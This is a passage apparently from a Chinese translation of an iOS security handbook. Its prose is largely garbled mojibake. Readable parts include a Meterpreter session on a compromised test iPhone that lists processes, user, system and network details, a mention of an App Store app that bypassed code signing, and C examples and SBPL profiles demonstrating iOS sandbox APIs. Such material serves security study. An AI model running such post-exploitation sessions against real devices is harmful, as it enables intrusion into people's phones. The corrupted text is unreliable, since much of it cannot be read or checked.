40775/rwxrwxr-x     1258    dir     Tue Aug 30 05:36 2011   Applications 

40775/rwxrwxr-x     68      dir     Thu Aug 25 22:08 2011   Developer 

40775/rwxrwxr-x     646     dir     Tue Aug 30 05:27 2011   Library 

40755/rwxr-xr-x     102     dir     Thu Aug 25 22:16 2011   System 

40755/rwxr-xr-x     102     dir     Tue Aug 30 05:36 2011   bin 

41775/rwxrwxr-x     68      dir     Thu Aug 25 20:31 2011   cores 

40555/r-xr-xr-x     1625    dir     Thu Sep 01 06:03 2011   dev 

40755/rwxr-xr-x     544     dir     Thu Sep 01 05:55 2011   etc 

40755/rwxr-xr-x     136     dir     Thu Sep 01 05:55 2011   private 

40755/rwxr-xr-x     476     dir     Tue Aug 30 05:37 2011   sbin 

40755/rwxr-xr-x     272     dir     Tue Aug 30 05:18 2011   usr 

40755/rwxr-xr-x     952     dir     Thu Sep 01 05:59 2011   var 

 

meterpreter > getpid 

Current pid: 518 

meterpreter > getuid 

Server username: mobile 

meterpreter > ps 

 

Process list 

============ 

 

    PID         Name                Path 

    ---         ----                ---- 

    0       kernel_task 

    1       launchd 

    12      UserEventAgent 

    13      notifyd 

    14      configd 

    16      syslogd 

    17      CommCenterClassi 

    20      lockdownd 

    25      powerd 

    28      locationd 

    30      wifid 

    32      ubd 

    45      mediaserverd 

    46      mediaremoted 

    47      mDNSResponder 

    49      imagent 

    50      iapd 

    52      fseventsd 

    53      fairplayd.N90 

    59      apsd 

    60      aggregated 

    65      BTServer 

    67      SpringBoard 

    74      networkd 

    85      lsd 

    88      MobileMail 

    90      MobilePhone 

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



4.7� ᆠ̼ڭᆉኣՏ఺҃� � 85 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

    113     Preferences 

    312     TheDailyHoff 

    422     SCHelper 

    426     Music~iphone 

    433     ptpd 

    437     afcd 

    438     atc 

    442     notification_pro 

    480     notification_pro 

    499     springboardservi 

    518     test-dyld 

    519     sandboxd 

    520     securityd 

 

meterpreter > sysinfo 

Computer: Test-iPhone 

OS      : ProductBuildVersion: 9A5313e, 

ProductCopyright: 1983-2011 Apple Inc., 

ProductName: iPhone OS, ProductVersion: 5.0, ReleaseType: Beta 

meterpreter > vibrate 

meterpreter > ipconfig 

lo0 

Hardware MAC: 00:00:00:00:00:00 

IP Address  : 127.0.0.1 

Netmask     : 255.0.0.0 

 

en0 

Hardware MAC: 5c:59:48:56:4c:e6 

IP Address  : 192.168.1.2 

Netmask     : 255.255.255.0 

4.7.3� পᕫApp Storeⱘᡍޚ�

ѢဗڙiOS App Store˖ᄉඇʶ˓ःၸᦏ᜵ፂ᣾ᔰ౦МՂᄉ೜ಉ֖੺эǌੇ͂ॡᬱफຌᤇʶึ

ርХͳ௦ݟʹୱͺᄉǌᥦ̎థ᝭ेᄉःၸႁឯᜁધᄉৰх᤯࣡๗Ԣྟా᫇ᮤǋባ́᫇ᮤὋ੊௦΍

ၸሒథᄉAPIѥஜǌᙉཨApp Storeᄉࠅ੺ึርԺ̾థ஌࠱ڠৎ਒ःၸધ˧᫂ܰὋͭ௦ੇ͂௃กᆷ

Ѭᅻ᥊థܲ࠵ৎ਒ःၸࠅڙಉ˖ᜁધፏǌ 

ᤇሗʿᤨ௙ᄉึርࡂलѢ˿ʶ˓᫇ᮤὙѽၸ˿ఴብ̭ፀᄉᤇ̼̎ᆉኣՏbugᄉःၸὋ௦͗᤯

᣾ࠅಉึርփὋᤆ௦͗ᜁԦဗփ὞˝˿ය᝼ὋCharlie Millerଡ̓˿ʶ˓ःၸὋឞःၸԺ̴̯̾ଌ

҃ᄉనҫ٧ʼʽᣑࣲ੯ᛠ͉਒὇లኣՏᄉὈंǌ 

⊼ᛣ ੇ͂ྱѾਕ៘Jon Oberheide֖Pavel Malik˝൤ଡΘᄉࣞүǌ 

ឞःၸᄹʼԜ௦ʶ˓ᐦᇽᛠৰಉលርࣿǌʿ᣾Ὃឞःၸ᤯᣾ѥஜૈ᧪ᄉழयុၸdlopen֖

dlsymὋᏪ᭣ᄯଋុၸ߱͂ὋMillerࣲ෤థ҈਒Ԝᬤᘨርࣿ᜵ϡ̣̎˥ǌڙᔰ౦МՂᄉ฽ណ˖Ὃ

ܷᦉѫ̼ᆉᦏʿ͗੯ᛠ὇ځ˝Miller෤థڙःၸᤈᛠុၸᄉڠழஉʼंὈὋᤇ̼̎ᆉᤈᛠ˿ॡܲૈ
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᧪ୱͺὋ̾RWXాᬌࠪ஠͇ᤈᛠmmapူܪὋࣲᤈʶ൥Ҫᣑंǌੇ͂౎ᄹ11-4ڎǌ 

 

�11-4ڎ App Store˖ᄉInstaStockርࣿդథԺ̾Ҫᣑ͉਒లኣՏ̼ᆉᄉ̼ᆉ 

̴ၴᒯ௦ၸᒬࣁᄉᄽՏހࠃଡ̓ᄉឞःၸὀڙፂ᣾˝యʶֆᄉःၸࠅಉՐὋᔰ౦МՂ੺э

˿ឞःၸࣲᝧ߱ڙApp Store˖ʼ౵˿ǌ௬ཨὋ̯߶Кᝇऎ౎ᄹὋApp Storeᄉࠅಉึርࣲʿ௦ᥦ

˥ख़ऄǌ 

4.8� ᇣ㒧 

ᝌҁiOS̼ᆉኣՏ఺҃ᄉ᧗᜵বὋࣲᅻ᥊˿߱ঞ˥Ҫܷஈѣᬱऎࣲܷܷᬌ҃˿ࠑܷ˖ఴብڙ

ឞࣰԻʼᄉৎ਒ᣃ͇ǌଋᅋੇ͂᤯᜾˿XNUЮನ̾ԢiOSЮನ஠͇˖ࠃဗु̼҃ᆉኣՏᄉ̼ᆉǌ

ཨՐὋੇ̭͂ፀ˿̼ᆉኣՏᄉΒܰৰхὋ˶ࡂ௦MobileSafari˖ᄉԀௐᎃដὋ̾ԢˀឞҩᑞᄰС

ᄉ੝థ̼ᆉǌణՐὋੇ ͂ៀ᝶˿᧪̼ࠪᆉኣՏ఺҃ᄉʶ̎ஈѣὋӉહࠪMobileSafariซЙshellcodeὋ

ࣲ३ᅻ̼ᆉኣՏ఺҃ᄉbugԺ̾ᝧஈѣᏧҪᣑలኣՏᄉं὇ᒯڙ࠵ឞ໣วᜁνܬ˧ґ௦ԺᛠᄉὈǌ  
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iOSଡΘ˿ܲࡎ໣วஈѣᎀᝌ఺҃ǌDEP὇ஜ૵੯ᛠγએὈ֖ASLR὇ڦڠቆᫍѫ࣊ᬣ఺ӐὈ

Ҫܷ˿̠͂ᖌԨ̼ᆉ੯ᛠాᄉᬱऎὋʿ ᣾ᤆᭉ᜵థФ̴఺҃ᬌ҃ৎ਒̼ᆉ੝ᤴ੆ᄉᆠڭǌᑱᑁᒬ

Mac OS X˖ዜͪጆፑᄉiOS෡ᄣ఺҃ὋࡂଡΘ˿ʶሗᬌ҃ᤈርᛠ˝ᄉழกǌ 

෡ᄣᄉᄫᄉ̅ڙὋ᤯᣾ଡΘଋԯጝోᤈርᛠ˝Ὃ̯ Ꮺᬌ̼҃ᆉ੯ᛠՐᄉᛠ˝ǌϛ᝹థʶ˓PDF

᫝ឳःၸὋឞःၸᄉʶ˓ߔጆፑ͗ᝌౡ੩धᄉ஠͇Ὃၶ੆Юᦉᄉᛪᇧ्यǌᏪԲʶ˓ߔጆፑѶ᠆

᠉ѽၸᤇሗЮᦉᛪᇧὋ࠱ឞ஠ುມ౿࣪ࡕڙʼǌځ˝ᤇ˓᠆᠉ᝌౡᄉߔጆፑူܪڙၸਖ਼ଡΘᄉᣤ

Йௐణࠓ௛ԩҁஈѣὋ੝̾ᬓ˿ᣤЙ஠͇˧ܰ߱ʿᭉ᜵᝺᫇Ф̴Юࠓǌ᤯᣾ሄൢឞߔጆፑ੩धФ

̴஠͇ǋ੯ᛠФ̴ርࣿ੊΍ၸᎩፎὋੇ͂ࡂᬌ҃˿ஈѣᏧ̼ڙᆉ੯ᛠՐᄉᛠ˝ǌူ᝶ʼᝮὋᤇॡ

 ௛Ѣᩱᄉǌࠓᬄःၸ˖Ὃጝోᤈርᄉᮔయᛠ˝௦ॡᬱᏪ˄ॡࠃڙဗὋʿ᣾ࠃ௛ࠓ

ఴብ᜵ᝦ᝶iOS෡ᄣᄉ᝹᝟ˀࠃဗǌ᤯᣾ʶ൥൥˿ᝌiOSၸ౎˝ፋ߿ᤈርᦠᎵ֖ࠃஶଠᤗ஠͇

ᄉ̼ᆉὋܷ࠱ࠑᅻ᥊ݟʹၸiOS෡ᄣࠃஶጆፑ੯ᛠఝᰳጞᄉࠅ᝟ǌఴብᄉܷᦉѫЮࠓᦏ࠱ᝦ᝶ឞ

ጆፑలൣय᝭ेᄉᥦ̎ᦉѫǌ 

5.1� ⧚㾷≭Ⲧ 

ᔰ౦ᄉ෡ᄣణ௉ѢဗڙMac OS X˖Ὃʁ ध̼ݼՁ˝Seatbelt὇߶КࣛὈǌࡂϷኃ4ብᝦ᝶᣾ᄉAMFI

ᥦಧὋ߱ᜁࠃဗ˝TrustedBSDु҃᝺᫇ଌ҃὇MACὈಳ౵ᄉʶ˓ን႔ഴڰǌᔰ౦МՂ࠱TrustedBSD

̯FreeBSDሧೱҁ˿XNUЮನ˖ǌᬓ˿TrustedBSDጆፑࠪેᨈ֖ን႔ክူल୲ᄉុၸ˧ܰὋ෡ᄣಳ

౵ᤆଡΘ˿Ժ̯ၸਖ਼ቆᫍᦠᎵǋˀՉ˓ᤈርᄰࠪःᄉଠᤗ஠͇Ὃ̯Ꮺ௬ᗂܘҪ˿Ф͈Ϙǌ 

෡ᄣၿ̾ʽі˓ᦉѫጷ੆Ὑ 

� ʶ̎ၸ̅ѹݼӐ֖ᦠᎵ෡ᄣᄉၸਖ਼ቆᫍंѥஜ὚ 

� ၸ౎ူܪЮನ௅ং֖ߚஉᮔᎵᦠᎵᄉMachనҫ٧὚ 

� ѽၸTrustedBSD APIࠃஶӬ࿗ን႔ᄉЮನੰࡘ὚ 

 ǌࡘஶ᣾ር˖᝿ͤ౼̎ን႔ᬌ҃ଡΘൣѶᛪ᣹यल୲ᄉЮನஂ૆ੰࠃڙ˝ �

 ᇧ˿ᤇ̎ጷ੆ᦉѫ˧ᫍᄉСጆǌࡘ1-5ڎ

˝ःၸࠃஶ෡ᄣ఺҃ᯪЎ᜵ុၸlibSystemѥஜsandbox_initǌឞѥஜѽၸlibsand 

box.dylibंઁ̠͂Ժ̾ူᝌᄉን႔߿˦὇̾þʿЉ᝴᝺᫇/opt/sekretᄫेʽᄉ஠͇ÿᤇಧᄉ्

ኃ �ብ
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यଠᤗᄉ᜺ѶὈᣀ૰੆Юನᭉ᜵ᄉ̃ᤈ҃ಪयǌឞ̃ᤈ҃ಪय͗ᜁ͛ᤫፋၿTrustedBSDߔጆፑܪ

ူᄉmac_syscallጆፑុၸǌᏪTrustedBSD͗ઁ෡ᄣѹݼӐឯය͛ᤫፋSandbox.kextЮನੰࡘ

ᤈᛠူܪǌᤇʶЮನੰ͗ࡘ˝ॆґᤈር߶ᜈ෡ᄣଠᤗ஠͇᜺Ѷǌឞ᣾ር߸੆Ր͗థᛪᇧူܪ੆ҩ

ᄉᤄٿϘᜁ͛ٿЮನǌ 

 

�1-5ڎ IOS෡ᄣᄉጷ੆ᦉѫ 

ʶெ߸੆෡ᄣᄉѹݼӐὋTrustedBSDࡎᨈેᄉॡܲѥஜុၸ͗ፂ᣾Sandbox.kextࠃஶን

႔ǌឞЮನੰ͗ࡘ಩૵ጆፑុၸᄉʿՎф߿˝ॆґᤈርࠃஶ̎ג᜺Ѷǌ౼̎᜺Ѷ὇ඊݟ˧ґଡ᣾

ᄉધፏࠪ /opt/sekret ᡸफ़ʽ஠͇ᄉ᝺᫇Ὀ᜵යഴयӛᦠᄉஂ૆ǌ Sandbox.kext̯͗

AppleMatch.kextलЙѥஜὋࠪ ᤇ̎ጆፑុၸԟஜ֖ን႔᜺Ѷ΍ၸᄉഴयᤈᛠൣѶᛪ᣹यӛᦠǌ

ΒݟὋ͛ᤫፋopen()ᄉᡸफ़௦ՠӛᦠ᜵ધፏ᝺᫇ᄉᡸफ़ /opt/sekret/.*὞ణՐᄉጷ੆ᦉѫ

sandboxd௦ΝեMach๖োᄉὋᤇ̎๖োᤁᣑᅋ᝭े֖௅ংζো὇ඊݟ᜵೜ಉ̎גୱͺὈὋ̾Ԣ

ࠪᆵᎃᆉҁЮನ˖ᄉᮔᎵଠᤗ஠͇ᄉឯය὇ඊݟþ᫽ൢ੝థࠪᎩፎᄉ΍ၸÿ੊þʿЉ᝴ᤈᛠ᝟ኪ

˧ܰᄉ͉ʹୱͺÿὈǌ 

5.2ᓫ͗࠱ఝ˝សጹ̭ڠፀѷѷଡҁᄉՉ˓ጷ੆ᦉѫǌᤇ᧖ੇ̯͂ၸਖ਼ቆᫍʶᄯଉቂҁЮನ

ጷ͇ǌڙஞ˓ᝦ᝶˖Ὃੇ͂ᦏ͗ၸҁ̯iPhone3,1_5.0_9A334͇ڌ˖ᝌԌѢᄉ̃ᤈ҃஠͇ǌᝌԌЮ

ನᎀߚˀ಩஠͇ጆፑ὇ࠪःdyldᎀߚὈᄉጹᓫԟ᜸ኃ10ብǌࠪXNUЮನᄉ͉ʹᝦ᝶ᦏၸҁ˿ࠪ

ឞ̃ᤈ͇҃̾ڌԢxnu-1699.24.8धຸ̼ᆉᄉѫౡǌឞྟxnuຸ௦ԺᖌԨᄉˀ੝ᝦ᝶͇ڌణଋᤂ

ᄉྟఴ˿ǌ൤ܰὋܷࠑᤆԺ̾ڙఴ˹ᦠݒᎩቢwww.wiley.com/go/ioshackershandbookʼʽᣑఴብ

ᄉᇧΒ̼ᆉǌ 
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5.2� ೼ᑨ⫼ᓔথЁՓ⫼≭Ⲧ 

ᬣᅋApp Storeᄉतበ֖Mac OS X 10.7 LionᄉԦ࣊ὋఝܲˀiOS΍ၸᄉ෡ᄣੰࡘథСᄉ஠࿸˶

ᄰፘѢဗǌڙMac OS X 10.7˧ґὋiOS෡ᄣ᜵ඊMac OS X෡ᄣХథఝܲᄉҩᑞὋͭМधᄉζোԁ

३ԺদǌApplication Sandbox Design Guide࠵
Ŀ὇ःၸ෡ᄣ᝹᝟ૈӮὈ܌ᛩ˿ᤇʶቆᄆὋᏪ˄ᔰ౦

МՂСซ˿iOS˖ᄉឰܲࢿऩǌᙉཨᤇʶ᝹᝟ૈӮ௦̯ᣖᰳᄉࡎ᭦ᅋᅊὋ̭ͭ߱ፀᄉഏএᤆ௦᭣

 ၸᄉǌࠃ࣡

iPhone 5.0 SDKᄉsandbox.hܿ஠͇˖դథ෡ᄣᄉၸਖ਼ቆᫍଋԯǌᤇ᧖ᄉΒߔᯪЎ̯sandbox_ 

initǋsandbox_init_with_parameters֖sandbox_init_with_extensionsᤇ3˓ၸ̅ѹ

 ፀǌ̭ݼӐ෡ᄣᄉѥஜधݼ

sandbox_initѥஜ͗ڙፋ߿ଠᤗ஠͇ৰхʽ˝ុၸ߱ᄉᤈርᦠᎵ෡ᄣǌsandbox_init

ଋԩᄉԟஜӉહʶ˓ଠᤗ஠͇ǋʶጷಕং֖ʶ˓ၸ̅ߚϱᩱឧζোૈ᧪ᄉᣤѢԟஜǌ಩૵͛ᤫ

ፋឞѥஜᄉಕংᄉʿՎὋੇ͂థʿՎழय౎ଡΘឞଠᤗ஠͇὇੊Ꮷឬᬌ҃ᤈርᄉ᜺ѶᬶὈǌឞѥ

ஜ׬ʶМधஂ૆ᄉಕং௦SANDBOX_NAMEDὋ߱ᭉ᜵ʶ˓ڙଠᤗ஠͇ԟஜ˖͛ᤫᄉߙቿ˘Ὃᤤસ

ឰݟþno-internetÿᤇಧᄉЮᎵଠᤗ஠͇ǌᤇ᧖ᄉᇧΒርࣿ͗ѽၸឞᤤᮉᬌ҃ᛡၶᄉshell΍ၸځ

ྱᎩὙ 

#include <stdio.h> 

#include <sandbox.h> 

 

int main(int argc, char *argv[]) { 

    int rv; 

    char *errbuff; 

 

    //rv = sandbox_init(kSBXProfileNoInternet, SANDBOX_NAMED_BUILTIN, &errbuff); 

    rv = sandbox_init("nointernet", SANDBOX_NAMED_BUILTIN, &errbuff); 

    if (rv != 0) { 

        fprintf(stderr, "sandbox_init failed: %s\n", errbuff); 

        sandbox_free_error(errbuff); 

    } else { 

        printf("pid: %d\n", getpid()); 

        putenv("PS1=[SANDBOXED] \\h:\\w \\u\\$ "); 

        execl("/bin/sh", "sh", NULL); 

    } 

 

    return 0; 

} 

ʼၸinetutilsӉ߶ᜈ˿pingርࣿǌ᜵੯ᛠܫᡔ࿜᣾ᄉ᝹ڙࣁᤁᛠឞᇧΒ˧ґὋឯᆷγᒬڙ

/bin/pingὋ;ᤆᭉ᜵΍ၸ/chmod -s /bin/ping̽֐Ѻᬓዤ໔ͮ὇sticky bitὈǌʽ᭦ᄉЮࠓԥ

௡˿ʼᤗርࣿౝतᄉ෡ᄣ૊ᮔయ᫽ൢ˿pingឯයὙ�

üüüüüüüüüü�

Ŀ https://developer.apple.com/library/mac/#documentation/Security/Conceptual/AppSandboxDesignGuide/AboutApp 

Sandbox/AboutAppSandbox.htmlǌúúដᏧซ 
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iFauxn:~/ioshh root# ./sb1 

pid: 5169 

[SANDBOXED] iFauxn:~/ioshh root# ping eff.org 

PING eff.org (69.50.232.52): 56 data bytes 

ping: sendto: Operation not permitted 

^C--- eff.org ping statistics --- 

0 packets transmitted, 0 packets received, 

[SANDBOXED] iFauxn:~/ioshh root# exit 

iFauxn:~/ioshh root# ping eff.org 

PING eff.org (69.50.232.52): 56 data bytes 

64 bytes from 69.50.232.52: icmp_seq=0 ttl=46 time=191.426 ms 

^C--- eff.org ping statistics --- 

1 packets transmitted, 1 packets received, 0% packet loss 

round-trip min/avg/max/stddev = 191.426/191.426/191.426/0.000 ms 

iFauxn:~/ioshh root# 

᜵ซ਒ᤇ˓ᇧΒርࣿซ᧕૿ᄉᥦᛠὋ൤ᛠ΍ၸ˿kSBXProfileNoInternet࣡᧙ͺ˝ଠࠑܷ

ᤗ஠͇ᄉՏሥǌᏪiOS෡ᄣʿЩܿࠓ஠͇˖߿˦ᄉ࣡᧙ǌΒݟὋkSBXProfileNoInternetڙiOS

֖Mac OS X˖ᦏ͗ᜁᝌౡ˝þno-internetÿǌͭʿࢻᄉ௦ὋڙiOS˖Ὃᤇ˓ଠᤗ஠͇ᄉՏሥःឞ௦

þnointernetÿǌ 

ᬓХՏᄉЮᎵଠᤗ஠͇ܰὋsandbox_initᤆஂ૆ѽၸຸ̅Schemeឥᝒᄉᮖ۪ྱ߿ឥᝒ

Sandbox Profile Language὇SBPLὈૈ߿ᒬ߿˦ᄉጹዡऎᬌ҃ǌѽၸSANDBOX_NAMED_EXTERNAL

ಕংὋsandbox_init͗࣎భSBPLᑭఴ஠͇ᄉᡸफ़̾ԟஜᄉ्य͛ᤫǌݟ౦ឞᡸफ़ʿ௦ፏࠪᡸ

फ़Ὃឞᄰࠪᡸफ़͗ࡂᜁҪʼ̾ʽ3˓۲ఴᡸफ़ґ፯Ὃ࠼ណ3˓ʿՎᄉͮᎵὙ 

__cstring:368FB90A aLibrarySandbox DCB "/Library/Sandbox/Profiles",0 

__cstring:368FB924 aSystemLibraryS DCB "/System/Library/Sandbox/Profiles",0 

__cstring:368FB945 aUsrShareSandbo DCB "/usr/share/sandbox",0 

ᬓ˿SANDBOX_NAMED_EXTERNALὋಕংᄉϘ0ᤆԺ̾ˀଠᤗ஠͇ԟஜ˖ᄉSBPLᑭఴʶᡐᄯ

ଋ͛ᤫፋsandbox_initǌᔰ౦МՂࣲలଡΘSBPLᄉ஠ುὋʿ᣾Schemeឥᝒఴᢵᄉ߸ஞឥᝒ߿

˦ԁॡࠓ௛̯libsandbox.dylib஠͇὇Ժ̯͇ڌ˖ᄉdyldᎀߚ˖३ҁὈ˖ଡԨѢ౎ǌڙݝfG!ᎃጔᄉ

Apple Sandbox Guide
Ŀ˝Mac OS X˖ࠃဗᄉSBPLଡΘ˿஠ುǌᤇ͊ૈӮᄉܷᦉѫЮࠓ᤟ၸ̅iOSὋ

ʿ᣾෤థ๗ԢSBPL౼̎ඊᣖளᄉྱব὇ඊࡘੰݟ᣾໙٧Ὀǌ�

ੇ͂΍ၸᄉ͇ڌ˖ᤆథʶ˓SBPLᑭఴ὇ੰࡘՏ˝.sbὈᄉᇧΒὙ/usr/share/sandboxᄫेʽᄉ

ftp-proxy.sb஠͇ǌʽ᭦ੇ͂୑े˿ឞଠᤗ஠͇ᄉᦉѫЮࠓὋᝧܷڙࠑፘ፝ߥ˷߸ஞᄉΒߔ˧ґࠪ

ឞಪयథѹ൥˿ᝌὙ 

(deny default) 

... 

(allow file-read-data 

    (literal "/dev/pf") 

    (literal "/dev/random") 

    (literal "/private/etc/master.passwd")) 

 

üüüüüüüüüü�
Ŀ http://revers.put.as/2011/09/14/apple-sandbox-guide-v1-0/ǌúúដᏧซ 
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(allow file-read-metadata 

    (literal "/etc")) 

 

(allow file-write-data 

    (literal "/dev/pf")) 

ᤇሗଠᤗ஠͇ឥᝒ௦᭣࣡ᄯ᜹ᄉǌឞᑭఴ᳭࠱ᝢୱͺ᝹Ꮅ˝ધፏ͉ʹ᝺᫇Ὃᩙ ःၸឞଠ˿߿

ᤗ஠͇ᄉᤈርǌڙሧᬓ੝థྱా˧ՐὋ౼̎ྱ߿ᛠҮࡂᜁ௙ᆷЉ᝴˿Ὃඊࠚ̯ݟᆉ஠͇˖ឳԨЮ

ណ෡ᄣଠᤗ஠͇Ὃੇ͂Ժ̾Ѹत࠼FTP̼ᆉᤈᛠᢵ͊ᰍ᝼੝ᭉ᜵ᄉὈǌ᜵ᒬᛠ˝ځ὇ᤇԺᑞ௦ࠓ

�஠͇ᄉ᝺᫇Ὑ߿ྱ˓ˏʽଠᤗ஠͇ᬌ҃ࠪ/tmpᄫेʽݟ

(version 1) 

 

(allow default) 

 

(deny file-read-data 

    (literal "/private/var/tmp/can_w")) 

 

(deny file-write-data 

    (literal "/private/var/tmp/can_r")) 

᜵฽ណឞଠᤗ஠͇Ὃੇ͂Ժ̾҃ܬ˧ґધፏྱځᎩ᝺᫇ᄉΒߔὋࣲઁࠪsandbox_initᄉុ

ၸஇ˝΍ၸSANDBOX_NAMED_EXTERNALᤤᮉὙ�

rv = sandbox_init("sb2", SANDBOX_NAMED_EXTERNAL, &errbuff); 

ҁ/usr/share/sandboxᄫे὇੊௦ˀಉ੼ᡸफ़ዜͪ҃ܬᤆᭉ᜵ઁ˧ґଡҁᄉᥦ˓.sbᑭఴࠑܷ

ᄉᄫेὈ˖Ὃ੊௦ڙsandbox_initԟஜ˖ፋѢឞᑭఴᄉፏࠪᡸफ़ǌᤇ᧖ᄉ᝭ेࡘᇧ˿ᤇʶᒬ߿

˦SBPLᑭఴ಩૵ᡸफ़ᬌ҃ࠪ஠͇ᄉ᝺᫇Ὑ�

iFauxn:~/ioshh root# echo "w" > /private/var/tmp/can_w 

iFauxn:~/ioshh root# echo "r" > /private/var/tmp/can_r 

iFauxn:~/ioshh root# ./sb2 

pid: 5435 

[SANDBOXED] iFauxn:~/ioshh root# cat /private/var/tmp/can_w 

cat: /private/var/tmp/can_w: Operation not permitted 

[SANDBOXED] iFauxn:~/ioshh root# cat /private/var/tmp/can_r 

r 

[SANDBOXED] iFauxn:~/ioshh root# echo "IOSHH" >> /private/var/tmp/can_w 

[SANDBOXED] iFauxn:~/ioshh root# echo "IOSHH" >> /private/var/tmp/can_r 

sh: /private/var/tmp/can_r: Operation not permitted 

[SANDBOXED] iFauxn:~/ioshh root# exit 

iFauxn:~/ioshh root# 

ʿѢ੝஧Ὃੇ͂ࠪcan_wᄉឳ᝺᫇ᜁ᫽ൢὋͭԺ̾ࠪФᤈᛠз᝺᫇ǌᏪcan_rѶൣݝ௦ᄰԥ

ᄉúúԺ̾ឳͭʿԺ̾зǌ�

ˀsandbox_initʶಧὋФ̴ˏ˓ၸ̅෡ᄣѹݼӐᄉѥஜ˶ଋԩᄰՎᄉ3˓ԟஜǌᬓ൤˧ܰὋ

߱͂ᤆ͗ଋԩૈՓ౼˓ߙቿஜጷᄉኃٽ˓ԟஜǌڙ˝ឞSBPLᑭఴᠱϘௐὋੇ͂᜵΍ၸ

init_sandbox_with_parameters࠱ʶѴԟஜ͛ᤫፋSchemeᝌ᧕٧ǌࡂϷCឥᝒᄉᮔ٧ူܪᥦ

ಧὋᤇʶྱব௦ॡࠃၸᄉǌ੝థᄉԟஜᦏॸᮋڙѹݼӐௐૈ߿ǌ 
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᤯᣾init_sandbox_with_extensions͛ᤫҁణՐʶ˓ѹݼӐѥஜ˖ᄉੰࡘˀ˧ґଡҁ

ᄉԟஜథॡܷʿՎǌੰࡘ᤯࣡௦۲ఴᡸफ़ὋᏪ˄ԺᑞᜁҮখڠຊҪҁᤈርʼǌˀԟஜʿՎᄉ௦Ὃ

ቿ˘ᄉຌӬὋॆߙࡘஉᄉੰߚЮನ੯ᛠ˖ᄉǌඇ˓ᤈርᦏ፤એᅋॆґڙᄉ᤾ᣣ௦ЮᎵࡘੰ ෡ᄣڙ

ଠᤗ஠͇᜺Ѷ˖᥄ҁ౼̎SBPL᣾໙٧ௐὋ͗ࡂಉ᫝ᤇʶຌӬǌinit_sandbox_with_ 

extensionsᄉͺၸ௦በ҈ૈ߿ᤈር੝ᭉᄉੰࡘຌӬǌ 

ຊҪҁᤈርʼǌᯪЎὋੇࡘੰ࠱ڠԺ̾᤯᣾ˏ൥ୱͺҮখࠑܷ ͂̾᜵ຊҪᄉᡸफ़̾Ԣߚஉᣤ

Ѣಕ᝭὇output tokenὈᄉૈ᧪˝ԟஜុၸsandbox_issue_extensionὋ̯ᏪኣԦੰࡘǌଋᅋὋ

ॆ΍ၸsandbox_consume_extensionڙᤈር˖߶ᜈឞੰࡘՐὋឞಕ᝭͗ࡂᜁᩘංǌኣԦੰࡘ

ᄉᤈርˀᩘංੰࡘᄉᤈርʿʶ߿௦ՎʶᤈርǌΒݟὋˀԩ෡ᄣᬌ҃ᄉߔᤈርᤈᛠ᤯ζᄉྗᤈርὋ

ǌSBPLଡΘ˿ʶ్ᬌ҃sandbox_issue_extensionୱࡘᤈርኣԦੰߔ˝Ժᑞ಩૵Юᦉን႔ࡂ

ͺᄉ᤬फ़ǌݟ౦෤థᤇሗᬌ҃Ὃԩ෡ᄣጝోᄉߔᤈርࡂԺ̾ᒬᛠኣԦ͉ʹੰࡘὋᝧᤇሗྱবԪ३

ඒ௃਒˦ǌ 

ʽ᭦вᄹʶ˓ࡘᇧੰࡘ˧ၸ᤬ᄉΒߔὙ 

#include <stdio.h> 

#include <sandbox.h> 

 

int main(int argc, char *argv[]) { 

        int rv; 

        char sb[] = 

                "(version 1)\n" 

                "(allow default)\n" 

                "(deny file-issue-extension*)\n" 

                "(deny file-read-data\n" 

                "        (regex #\"/private/var/tmp/container/" 

                                  "([0-9]+)/.*\"))\n" 

                "(allow file-read-data\n" 

                "       (require-all\n" 

                "           (extension)\n" 

                "           (regex #\"/private/var/tmp/container/" 

                                     "([0-9]+)/.*\")))\n"; 

        char *errbuff; 

 

        char *token; 

        token = NULL; 

        rv = sandbox_issue_extension("/private/var/tmp/container/1337", &token); 

        if (rv == 0 && token) { 

                printf("Issued extension token for " 

                       "\"/private/var/tmp/container/1337\":\n"); 

                printf(" %s\n", token); 

        } else { 

                printf("sandbox_issue_extension failed\n"); 

        } 

 

        const char *exts[] = { argv[1] }; 

        printf("Applying sandbox profile:\n"); 

        printf("%s", sb); 

        printf("\n"); 
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        printf("With extensions: { \"%s\" }\n", exts[0]); 

        printf("\n"); 

 

        rv = sandbox_init_with_extensions(sb, 0, exts, &errbuff); 

        if (rv != 0) { 

                fprintf(stderr, "sandbox_init failed: %s\n", errbuff); 

                sandbox_free_error(errbuff); 

        } else { 

                putenv("PS1=[SANDBOXED] \\h:\\w \\u\\$ "); 

 

                printf("Attempting to issue another extension after" 

                       "applying the sandbox profile...\n"); 

                char *token2 = NULL; 

                rv = sandbox_issue_extension( 

                        "/private/var/tmp/container/1337", &token2); 

                if (rv == 0 && token) { 

                        printf("Issued extension token for " 

                               "\"/private/var/tmp/container/1337\":\n"); 

                        printf(" %s\n", token); 

                } else { 

                        printf("sandbox_issue_extension failed\n"); 

                } 

 

                system("/bin/sh"); 

                printf("\nConsuming the extension, then starting another " 

                       "shell...\n\n"); 

                sandbox_consume_extension("/private/var/tmp/container/1337", token); 

                system("/bin/sh"); 

        } 

 

        return 0; 

} 

Ὃੇ˖ߔᤇ˓Βڙ ͂ᄉᄫಕ௦Ѹतʶ˓ଠᤗ஠͇Ὃ̾ ΦڙᤁᛠௐຊҪЉ᝴ຊҪᄉߔᡸफ़ǌ᜵ϡ

ҁᤇʶཁὋੇ͂ᯪЎ᜵ધፏࠪ/private/var/tmp/containerᄫेʽӉդஜߙᄉᡸफ़ᄉឳஜ૵᝺᫇ǌڙધ

ፏឳஜ૵˧ՐὋੇ͂ԠҪʼ˿ʶ్Љ᝴ឳஜ૵ᄉ᜺ѶὋԵథᄫಕᡸफ़௄ڙᤈርੰࡘʽὋԠڙ

/private/var/tmp/containerʽὋ੥Љ᝴ឳஜ૵᝺᫇ǌੇ͂ᤆ᜵ધፏࠪsandbox_issue_extensionѥ

ஜᄉ᝺᫇ǌڙѹݼӐ෡ᄣ˧ґὋੇ͂᜵˝1337ߔᄫेኣԦኃʶ˓ੰࡘǌᤄٿᄉಕ᝭ᜁγߚʽ౎ǌཨ

ՐὋ෡ᄣ͗ࡂᬣᅋ̯ኃʶ˓̽֐ᛠԟஜଋԩᄉʶ˓ੰࡘѹݼӐǌڙᤁᛠshell˧ґὋܷࠑԺ̾࠼ណڙ

